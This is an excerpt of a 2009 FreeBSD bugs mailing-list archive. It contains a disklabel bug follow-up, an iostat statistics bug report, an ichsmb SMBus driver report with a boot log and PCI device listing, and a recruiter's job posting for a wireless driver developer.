<200907141311.n6EDBm3j010047@freefall.freebsd.org> User-Agent: Mutt/1.5.20 (2009-06-14) Cc: freebsd-bugs@FreeBSD.org Subject: Re: bin/136733: disklabel handle incorrently X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 14:49:13 -0000 For first question, I download 8.0-BETA1 bootonly image and use network (FTP over HTTP proxy) to install a clean 8.0-BETA system. No special options. Partitions is not "automatic". I create them myself. On Tue, Jul 14, 2009 at 01:11:48PM +0000, gavin@FreeBSD.org wrote: > Synopsis: disklabel handle incorrently > > State-Changed-From-To: open->feedback > State-Changed-By: gavin > State-Changed-When: Tue Jul 14 13:09:28 UTC 2009 > State-Changed-Why: > To submitter: How did you install your system? Did you do anything > special, or did you just use sysinstall? Did you select any special > options (like "Dangerously Dedicated" mode)? Did you select the > "automatic" partitioning option? > > > Responsible-Changed-From-To: freebsd-bugs->gavin > Responsible-Changed-By: gavin > Responsible-Changed-When: Tue Jul 14 13:09:28 UTC 2009 > Responsible-Changed-Why: > Track > > http://www.freebsd.org/cgi/query-pr.cgi?pr=136733 -- * Gea-Suan Lin (public key: Using https://keyserver.pgp.com/ to search) * If you cannot convince them, confuse them. -- Harry S Truman From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 16:10:01 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2D7CD106566B for ; Tue, 14 Jul 2009 16:10:01 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id E24438FC16 for ; Tue, 14 Jul 2009 16:10:00 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6EGA0TJ040232 for ; Tue, 14 Jul 2009 16:10:00 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6EGA0TV040231; Tue, 14 Jul 2009 16:10:00 GMT (envelope-from gnats) Resent-Date: Tue, 14 Jul 2009 16:10:00 GMT Resent-Message-Id: <200907141610.n6EGA0TV040231@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Vladimir Krasovsky Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AFC771065676 for ; Tue, 14 Jul 2009 16:08:09 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 9DC1A8FC0C for ; Tue, 14 Jul 2009 16:08:09 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6EG89O9006250 for ; Tue, 14 Jul 2009 16:08:09 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6EG89l8006249; Tue, 14 Jul 2009 16:08:09 GMT (envelope-from nobody) Message-Id: <200907141608.n6EG89l8006249@www.freebsd.org> Date: Tue, 14 Jul 2009 16:08:09 GMT From: Vladimir Krasovsky To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136759: iostat displays wrong I/O statistics with -c 1 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 16:10:01 -0000 >Number: 136759 >Category: misc >Synopsis: iostat displays wrong I/O statistics with -c 1 >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jul 14 16:10:00 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Vladimir Krasovsky >Release: 7.0 >Organization: yandex.ru >Environment: FreeBSD host 7.0-STABLE FreeBSD 7.0-STABLE #1: Fri Feb 29 14:05:58 MSK 2008 root@host:/opt/obj/opt/src/sys/W5L_AMD64_ULE amd64 >Description: First line of iostat output always displays arbitrary (and wrong) numbers. user@host:~$ for i in 1 2 3 4; do iostat -c $i -d da2; done da2 KB/t tps MB/s 6.31 64 0.40 da2 KB/t tps MB/s 6.31 64 0.40 12.64 53 0.65 da2 KB/t tps MB/s 6.31 64 0.40 6.67 27 0.18 2.00 23 0.04 da2 KB/t tps MB/s 6.31 64 0.40 2.00 23 0.04 3.27 11 0.04 7.25 16 0.11 As you can see the first line is always the same. Though on different machines at different loads it may differ. >How-To-Repeat: for i in 1 2 3 4; do iostat -c $i -d da2; done >Fix: Use -c 2 or more. >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 17:00:04 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4FCA3106566C for ; Tue, 14 Jul 2009 17:00:04 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 230968FC1B for ; Tue, 14 Jul 2009 17:00:04 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6EH04k0078833 for ; Tue, 14 Jul 2009 17:00:04 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6EH04Bh078832; Tue, 14 Jul 2009 17:00:04 GMT (envelope-from gnats) Resent-Date: Tue, 14 Jul 2009 17:00:04 GMT Resent-Message-Id: <200907141700.n6EH04Bh078832@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Aurélien Méré Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 324D91065676 for ; Tue, 14 Jul 2009 16:50:09 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 2E0348FC24 for ; Tue, 14 Jul 2009 16:50:09 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6EGo7oT041127 for ; Tue, 14 Jul 2009 16:50:07 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6EGo739041126; Tue, 14 Jul 2009 16:50:07 GMT (envelope-from nobody) Message-Id: <200907141650.n6EGo739041126@www.freebsd.org> Date: Tue, 14 Jul 2009 16:50:07 GMT From: Aurélien Méré To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136762: ichsmb can't map resources of compatible IXP SMBus controller X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 17:00:04 -0000 >Number: 136762 >Category: misc >Synopsis: ichsmb can't map resources of compatible IXP SMBus controller >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Tue Jul 14 17:00:03 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Aurélien Méré >Release: 7.2-p2 >Organization: >Environment: FreeBSD milkyway.adriana.amc-os.com 7.2-RELEASE-p2 FreeBSD 7.2-RELEASE-p2 #0: Sat Jul 11 02:06:28 CEST 2009 kindman@milkyway.adriana.amc-os.com:/usr/obj/usr/src/sys/MILKYWAY64 amd64 >Description: ichsmb module recognizes correctly the ATI IXP SB400 SMBus controller, which is partially compatible with PIIX SMB controllers, but can't map correctly its resources : [root@milkyway ~]# kldload ichsmb [root@milkyway ~]# dmesg ichsmb0: port 0x900-0x90f at device 20.0 on pci0 ichsmb0: can't map I/O device_attach: ichsmb0 attach returned 6 Btw it seems support of this chip has been achieved in OpenBSD piixpm driver according to its man page. It seems also the specified I/O ports are not used by any other device. Thanks for your help. Below are boot log and pci devices list. Complete bootlog: Jul 12 16:44:00 milkyway syslogd: kernel boot file is /boot/kernel/kernel Jul 12 16:44:00 milkyway kernel: Copyright (c) 1992-2009 The FreeBSD Project. Jul 12 16:44:00 milkyway kernel: Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 Jul 12 16:44:00 milkyway kernel: The Regents of the University of California. All rights reserved. Jul 12 16:44:00 milkyway kernel: FreeBSD is a registered trademark of The FreeBSD Foundation. Jul 12 16:44:00 milkyway kernel: FreeBSD 7.2-RELEASE-p2 #0: Sat Jul 11 02:06:28 CEST 2009 Jul 12 16:44:00 milkyway kernel: kindman@milkyway.adriana.amc-os.com:/usr/obj/usr/src/sys/MILKYWAY64 Jul 12 16:44:00 milkyway kernel: Timecounter "i8254" frequency 1193182 Hz quality 0 Jul 12 16:44:00 milkyway kernel: CPU: AMD Athlon(tm) 64 Processor 3700+ (2188.81-MHz K8-class CPU) Jul 12 16:44:00 milkyway kernel: Origin = "AuthenticAMD" Id = 0x20f71 Stepping = 1 Jul 12 16:44:00 milkyway kernel: Features=0x78bfbff Jul 12 16:44:00 milkyway kernel: Features2=0x1 Jul 12 16:44:00 milkyway kernel: AMD Features=0xe2500800 Jul 12 16:44:00 milkyway kernel: usable memory = 510799872 (487 MB) Jul 12 16:44:00 milkyway kernel: avail memory = 490942464 (468 MB) Jul 12 16:44:00 milkyway kernel: ACPI APIC Table: Jul 12 16:44:00 milkyway kernel: ioapic0: Changing APIC ID to 1 Jul 12 16:44:00 milkyway kernel: ioapic0 irqs 0-23 on motherboard Jul 12 16:44:00 milkyway kernel: kbd1 at kbdmux0 Jul 12 16:44:00 milkyway kernel: acpi0: on motherboard Jul 12 16:44:00 milkyway kernel: acpi0: Overriding SCI Interrupt from IRQ 9 to IRQ 21 Jul 12 16:44:00 milkyway kernel: acpi0: [ITHREAD] Jul 12 16:44:00 milkyway kernel: acpi0: Power Button (fixed) Jul 12 16:44:00 milkyway kernel: acpi0: reservation of 0, a0000 (3) failed Jul 12 16:44:00 milkyway kernel: acpi0: reservation of 100000, 1ff00000 (3) failed Jul 12 16:44:00 milkyway kernel: Timecounter "ACPI-safe" frequency 3579545 Hz quality 850 Jul 12 16:44:00 milkyway kernel: acpi_timer0: <32-bit timer at 3.579545MHz> port 0x808-0x80b on acpi0 Jul 12 16:44:00 milkyway kernel: pcib0: port 0xcf8-0xcff on acpi0 Jul 12 16:44:00 milkyway kernel: pci0: on pcib0 Jul 12 16:44:00 milkyway kernel: pcib1: at device 1.0 on pci0 Jul 12 16:44:00 milkyway kernel: pci1: on pcib1 Jul 12 16:44:00 milkyway kernel: vgapci0: port 0xa800-0xa8ff mem 0xf4000000-0xf7ffffff,0xfbcf0000-0xfbcfffff irq 17 at device 5.0 on pci1 Jul 12 16:44:00 milkyway kernel: pcib2: at device 2.0 on pci0 Jul 12 16:44:00 milkyway kernel: pci2: on pcib2 Jul 12 16:44:00 milkyway kernel: pcib3: at device 0.0 on pci2 Jul 12 16:44:00 milkyway kernel: pci3: on pcib3 Jul 12 16:44:00 milkyway kernel: pcib4: at device 0.0 on pci3 Jul 12 16:44:00 milkyway kernel: pci4: on pcib4 Jul 12 16:44:00 milkyway kernel: em0: port 0xb800-0xb81f mem 0xfbde0000-0xfbdfffff,0xfbdc0000-0xfbddffff irq 18 at device 0.0 on pci4 Jul 12 16:44:00 milkyway kernel: em0: Using MSI interrupt Jul 12 16:44:00 milkyway kernel: em0: [FILTER] Jul 12 16:44:00 milkyway kernel: em0: Ethernet address: 00:15:17:4e:03:30 Jul 12 16:44:00 milkyway kernel: em1: port 0xb400-0xb41f mem 0xfbd80000-0xfbd9ffff,0xfbd60000-0xfbd7ffff irq 17 at device 0.1 on pci4 Jul 12 16:44:00 milkyway kernel: em1: Using MSI interrupt Jul 12 16:44:00 milkyway kernel: em1: [FILTER] Jul 12 16:44:00 milkyway kernel: em1: Ethernet address: 00:15:17:4e:03:31 Jul 12 16:44:00 milkyway kernel: pcib5: at device 1.0 on pci3 Jul 12 16:44:00 milkyway kernel: pci5: on pcib5 Jul 12 16:44:00 milkyway kernel: em2: port 0xd800-0xd81f mem 0xfbee0000-0xfbefffff,0xfbec0000-0xfbedffff irq 17 at device 0.0 on pci5 Jul 12 16:44:00 milkyway kernel: em2: Using MSI interrupt Jul 12 16:44:00 milkyway kernel: em2: [FILTER] Jul 12 16:44:00 milkyway kernel: em2: Ethernet address: 00:15:17:4e:03:32 Jul 12 16:44:00 milkyway kernel: em3: port 0xd400-0xd41f mem 0xfbe80000-0xfbe9ffff,0xfbe60000-0xfbe7ffff irq 16 at device 0.1 on pci5 Jul 12 16:44:00 milkyway kernel: em3: Using MSI interrupt Jul 12 16:44:00 milkyway kernel: em3: [FILTER] Jul 12 16:44:00 milkyway kernel: em3: Ethernet address: 00:15:17:4e:03:33 Jul 12 16:44:00 milkyway kernel: pci0: at device 20.0 (no driver attached) Jul 12 16:44:00 milkyway kernel: atapci0: port 0x1f0-0x1f7,0x3f6,0x170-0x177,0x376,0xff00-0xff0f at device 20.1 on pci0 Jul 12 16:44:00 milkyway kernel: ata0: on atapci0 Jul 12 16:44:00 milkyway kernel: ata0: [ITHREAD] Jul 12 16:44:00 milkyway kernel: ata1: on atapci0 Jul 12 16:44:00 milkyway kernel: ata1: [ITHREAD] Jul 12 16:44:00 milkyway kernel: isab0: at device 20.3 on pci0 Jul 12 16:44:00 milkyway kernel: isa0: on isab0 Jul 12 16:44:00 milkyway kernel: pcib6: at device 20.4 on pci0 Jul 12 16:44:00 milkyway kernel: pci6: on pcib6 Jul 12 16:44:00 milkyway kernel: cbb0: irq 20 at device 0.0 on pci6 Jul 12 16:44:00 milkyway kernel: cardbus0: on cbb0 Jul 12 16:44:00 milkyway kernel: cbb0: [ITHREAD] Jul 12 16:44:00 milkyway kernel: re0: port 0xe800-0xe8ff mem 0xfbfffc00-0xfbfffcff irq 20 at device 3.0 on pci6 Jul 12 16:44:00 milkyway kernel: re0: Chip rev. 0x10000000 Jul 12 16:44:00 milkyway kernel: re0: MAC rev. 0x00000000 Jul 12 16:44:00 milkyway kernel: miibus0: on re0 Jul 12 16:44:00 milkyway kernel: rgephy0: PHY 1 on miibus0 Jul 12 16:44:00 milkyway kernel: rgephy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto Jul 12 16:44:00 milkyway kernel: re0: Ethernet address: 00:11:09:7a:ff:be Jul 12 16:44:00 milkyway kernel: re0: [FILTER] Jul 12 16:44:00 milkyway kernel: acpi_button0: on acpi0 Jul 12 16:44:00 milkyway kernel: acpi_tz0: on acpi0 Jul 12 16:44:00 milkyway kernel: sio0: configured irq 4 not in bitmap of probed irqs 0 Jul 12 16:44:00 milkyway kernel: sio0: port may not be enabled Jul 12 16:44:00 milkyway kernel: sio0: configured irq 4 not in bitmap of probed irqs 0 Jul 12 16:44:00 milkyway kernel: sio0: port may not be enabled Jul 12 16:44:00 milkyway kernel: sio0: <16550A-compatible COM port> port 0x3f8-0x3ff irq 4 flags 0x10 on acpi0 Jul 12 16:44:00 milkyway kernel: sio0: type 16550A Jul 12 16:44:00 milkyway kernel: sio0: [FILTER] Jul 12 16:44:00 milkyway kernel: atkbdc0: port 0x60,0x64 irq 1 on acpi0 Jul 12 16:44:00 milkyway kernel: atkbd0: irq 1 on atkbdc0 Jul 12 16:44:00 milkyway kernel: kbd0 at atkbd0 Jul 12 16:44:00 milkyway kernel: atkbd0: [GIANT-LOCKED] Jul 12 16:44:00 milkyway kernel: atkbd0: [ITHREAD] Jul 12 16:44:00 milkyway kernel: cpu0: on acpi0 Jul 12 16:44:00 milkyway kernel: acpi_throttle0: on cpu0 Jul 12 16:44:00 milkyway kernel: acpi_throttle0: CLK_VAL field overlaps THT_EN bit Jul 12 16:44:00 milkyway kernel: device_attach: acpi_throttle0 attach returned 6 Jul 12 16:44:00 milkyway kernel: powernow0: on cpu0 Jul 12 16:44:00 milkyway kernel: device_attach: powernow0 attach returned 6 Jul 12 16:44:00 milkyway kernel: orm0: at iomem 0xc0000-0xcdfff on isa0 Jul 12 16:44:00 milkyway kernel: ppc0: cannot reserve I/O port range Jul 12 16:44:00 milkyway kernel: sc0: at flags 0x100 on isa0 Jul 12 16:44:00 milkyway kernel: sc0: VGA <16 virtual consoles, flags=0x300> Jul 12 16:44:00 milkyway kernel: sio1: configured irq 3 not in bitmap of probed irqs 0 Jul 12 16:44:00 milkyway kernel: sio1: port may not be enabled Jul 12 16:44:00 milkyway kernel: vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Jul 12 16:44:00 milkyway kernel: Timecounter "TSC" frequency 2188809325 Hz quality 800 Jul 12 16:44:00 milkyway kernel: Timecounters tick every 1.000 msec Jul 12 16:44:00 milkyway kernel: ipfw2 (+ipv6) initialized, divert enabled, nat loadable, rule-based forwarding disabled, default to deny, logging unlimited Jul 12 16:44:00 milkyway kernel: The GEOM class MIRROR is already loaded. Jul 12 16:44:00 milkyway kernel: ad0: 157066MB at ata0-master UDMA100 Jul 12 16:44:00 milkyway kernel: ad2: 157066MB at ata1-master UDMA100 Jul 12 16:44:00 milkyway kernel: cardbus0: Expecting link target, got 0x0 Jul 12 16:44:00 milkyway kernel: ral0: mem 0xfbf08000-0xfbf0ffff irq 20 at device 0.0 on cardbus0 Jul 12 16:44:00 milkyway kernel: ral0: MAC/BBP RT2661B, RF RT2527 Jul 12 16:44:00 milkyway kernel: ral0: Ethernet address: 00:0c:f6:1b:1f:1f Jul 12 16:44:00 milkyway kernel: ral0: [ITHREAD] Jul 12 16:44:00 milkyway kernel: GEOM_MIRROR: Component ad2 (device raid0) broken, skipping. Jul 12 16:44:00 milkyway kernel: GEOM_MIRROR: Device mirror/raid0 launched (1/2). Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1a is ufsid/4a57b9ab25ee84b7. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1d is ufsid/4a57b9adeaeb3538. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1e is ufsid/4a57b9afcb646766. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1f is ufsid/4a57b9b0e4248498. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1g is ufsid/4a57b9b39339833b. Jul 12 16:44:00 milkyway kernel: Trying to mount root from ufs:/dev/mirror/raid0s1a Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9ab25ee84b7 removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1a is ufsid/4a57b9ab25ee84b7. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9adeaeb3538 removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1d is ufsid/4a57b9adeaeb3538. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9b0e4248498 removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1f is ufsid/4a57b9b0e4248498. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9afcb646766 removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1e is ufsid/4a57b9afcb646766. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9b39339833b removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label for provider mirror/raid0s1g is ufsid/4a57b9b39339833b. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9ab25ee84b7 removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9adeaeb3538 removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9b0e4248498 removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9afcb646766 removed. Jul 12 16:44:00 milkyway kernel: GEOM_LABEL: Label ufsid/4a57b9b39339833b removed. pciconf -lv : hostb0@pci0:0:0:0: class=0x060000 card=0xd0081631 chip=0x59501002 rev=0x01 hdr=0x00 vendor = 'ATI Technologies Inc' device = 'RS480 Host Bridge' class = bridge subclass = HOST-PCI pcib1@pci0:0:1:0: class=0x060400 card=0xd0081631 chip=0x5a3f1002 rev=0x00 hdr=0x01 vendor = 'ATI Technologies Inc' device = 'RS480 PCI Bridge' class = bridge subclass = PCI-PCI pcib2@pci0:0:2:0: class=0x060400 card=0x59501002 chip=0x5a341002 rev=0x00 hdr=0x01 vendor = 'ATI Technologies Inc' device = 'RS480 PCI-X Root Port' class = bridge subclass = PCI-PCI ichsmb0@pci0:0:20:0: class=0x0c0500 card=0xd0081631 chip=0x43721002 rev=0x11 hdr=0x00 vendor = 'ATI Technologies Inc' device = 'IXP SB400 SMBus' class = serial bus subclass = SMBus atapci0@pci0:0:20:1: class=0x01018a card=0xd0081631 chip=0x43761002 rev=0x00 hdr=0x00 vendor = 'ATI Technologies Inc' device = '? Radeo SB400 = RS480 Southbridge/IDE Controller' class = mass storage subclass = ATA isab0@pci0:0:20:3: class=0x060100 card=0x00000000 chip=0x43771002 rev=0x00 hdr=0x00 vendor = 'ATI Technologies Inc' device = 'IXP SB400 PCI-ISA Bridge' class = bridge subclass = PCI-ISA pcib6@pci0:0:20:4: class=0x060401 card=0x00000000 chip=0x43711002 rev=0x00 hdr=0x01 vendor = 'ATI Technologies Inc' device = 'IXP SB400 PCI-PCI Bridge' class = bridge subclass = PCI-PCI hostb1@pci0:0:24:0: class=0x060000 card=0x00000000 chip=0x11001022 rev=0x00 hdr=0x00 vendor = 'Advanced Micro Devices (AMD)' device = '(K8) Athlon 64/Opteron HyperTransport Technology Configuration' class = bridge subclass = HOST-PCI hostb2@pci0:0:24:1: class=0x060000 card=0x00000000 chip=0x11011022 rev=0x00 hdr=0x00 vendor = 'Advanced Micro Devices (AMD)' device = '(K8) Athlon 64/Opteron Address Map' class = bridge subclass = HOST-PCI hostb3@pci0:0:24:2: class=0x060000 card=0x00000000 chip=0x11021022 rev=0x00 hdr=0x00 vendor = 'Advanced Micro Devices (AMD)' device = '(K8) Athlon 64/Opteron DRAM Controller' class = bridge subclass = HOST-PCI hostb4@pci0:0:24:3: class=0x060000 card=0x00000000 chip=0x11031022 rev=0x00 hdr=0x00 vendor = 'Advanced Micro Devices (AMD)' device = '(K8) Athlon 64/Opteron Miscellaneous Control' class = bridge subclass = HOST-PCI vgapci0@pci0:1:5:0: class=0x030000 card=0xd0081631 chip=0x59541002 rev=0x00 hdr=0x00 vendor = 'ATI Technologies Inc' device = 'na ATI Radeon Xpress 200 Series - RS480' class = display subclass = VGA pcib3@pci0:2:0:0: class=0x060400 card=0x00000000 chip=0x8018111d rev=0x04 hdr=0x01 vendor = 'Integrated Device Technology Inc.' class = bridge subclass = PCI-PCI pcib4@pci0:3:0:0: class=0x060400 card=0x00000000 chip=0x8018111d rev=0x04 hdr=0x01 vendor = 'Integrated Device Technology Inc.' class = bridge subclass = PCI-PCI pcib5@pci0:3:1:0: class=0x060400 card=0x00000000 chip=0x8018111d rev=0x04 hdr=0x01 vendor = 'Integrated Device Technology Inc.' class = bridge subclass = PCI-PCI em0@pci0:4:0:0: class=0x020000 card=0x10a48086 chip=0x10a48086 rev=0x06 hdr=0x00 vendor = 'Intel Corporation' device = '82571EB Gigabit Ethernet Controller' class = network subclass = ethernet em1@pci0:4:0:1: class=0x020000 card=0x10a48086 chip=0x10a48086 rev=0x06 hdr=0x00 vendor = 'Intel Corporation' device = '82571EB Gigabit Ethernet Controller' class = network subclass = ethernet em2@pci0:5:0:0: class=0x020000 card=0x10a48086 chip=0x10a48086 rev=0x06 hdr=0x00 vendor = 'Intel Corporation' device = '82571EB Gigabit Ethernet Controller' class = network subclass = ethernet em3@pci0:5:0:1: class=0x020000 card=0x10a48086 chip=0x10a48086 rev=0x06 hdr=0x00 vendor = 'Intel Corporation' device = '82571EB Gigabit Ethernet Controller' class = network subclass = ethernet cbb0@pci0:6:0:0: class=0x060700 card=0x14101524 chip=0x14101524 rev=0x01 hdr=0x02 vendor = 'ENE Technology Inc' device = 'CB-1420 CardBus Controller' class = bridge subclass = PCI-CardBus re0@pci0:6:3:0: class=0x020000 card=0x031c1462 chip=0x816910ec rev=0x10 hdr=0x00 vendor = 'Realtek Semiconductor' device = 'RTL8110SB Single-Chip Gigabit LOM Ethernet Controller' class = network subclass = ethernet ral0@pci0:7:0:0: class=0x028000 card=0x9072182d chip=0x03011814 rev=0x00 hdr=0x00 vendor = 'Ralink Technology, Corp' device = 'RT2561/RT61 802.11g PCI' class = network >How-To-Repeat: Load ichsmb module Loading it at boot time or in kernel doesn't change anything. >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 20:18:38 2009 Return-Path: Delivered-To: freebsd-bugs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9A0A01065689 for ; Tue, 14 Jul 2009 20:18:38 +0000 (UTC) (envelope-from dhorvay@4whitetiger.com) Received: from callisto.lunarpages.com (callisto.lunarpages.com [216.97.232.200]) by mx1.freebsd.org (Postfix) with ESMTP id 7577E8FC14 for ; Tue, 14 Jul 2009 20:18:38 +0000 (UTC) (envelope-from dhorvay@4whitetiger.com) Received: from [216.144.51.159] (helo=scmedina17) by callisto.lunarpages.com with esmtpa (Exim 4.69) (envelope-from ) id 1MQnyp-0003TI-TF for freebsd-bugs@freebsd.org; Tue, 14 Jul 2009 12:48:00 -0700 From: "David A. Horvay - MRINetwork " To: Date: Tue, 14 Jul 2009 15:48:03 -0400 Organization: Ultimate Placements, LLC Message-ID: <5E8D20510F3F4A5B87DC290B656FE612@scmedina17> MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook 11 Thread-Index: AcoEuDGuDD9FbXkIThSI0ItQzPBFzA== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - callisto.lunarpages.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - 4whitetiger.com Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Atheros wireless device driver developer X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: dhorvay@4whitetiger.com List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 20:18:40 -0000 Hello Everyone, =20 I have an opportunity for a device driver developer with a heavy = wireless Atheros background. =20 Please let me know if anyone is interested or might know someone. =20 Please see job description below. =20 Thank you very much.... =20 -Dave =20 Senior Software Engineer with WLAN Device Driver Development Experience The ideal candidate will have several years of communication experience = as well as experience programming low level hardware drivers. Requirements: = * BSCS or BSEE or relevant experience=20 * 5+ years of experience in development of WLAN device drivers=20 * Fluency in coding and debugging C * Experience with Atheros drivers a plus * Expertise in one or more of these protocols:=20 =A7 802.11=20 =A7 ATM=20 =A7 Sonet/SDH=20 =A7 NDIS=20 =A7 Bluetooth=20 =A7 Ethernet, GBit Ethernet=20 * Experience with one or more of the following operating = systems:=20 =A7 MS Windows, WinCE=20 =A7 Linux=20 =A7 Embedded RTOS=20 =20 =20 =20 David A. Horvay Sr. Account Executive Technology Solutions Division=20 MRINetwork Ultimate Placements, LLC One Park Centre Drive, Suite 305A TF:877-334-0285 ext. 202 dhorvay@4whitetiger.com http://www.linkedin.com/in/davidhorvay www.MRINetwork.com =20 BUILDING THE HEART OF BUSINESS (TM) =20 Please understand my mission at MRI Ultimate Placements is to partner = with those select clients where there is a philosophical fit. My goal has = never been to be all things to all people. =93As a client-focused search = consultant I evaluate each potential assignment based on alignment with my area of expertise and the timing and urgency of each search.=94 =20 =20 From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 03:51:31 2009 Return-Path: Delivered-To: 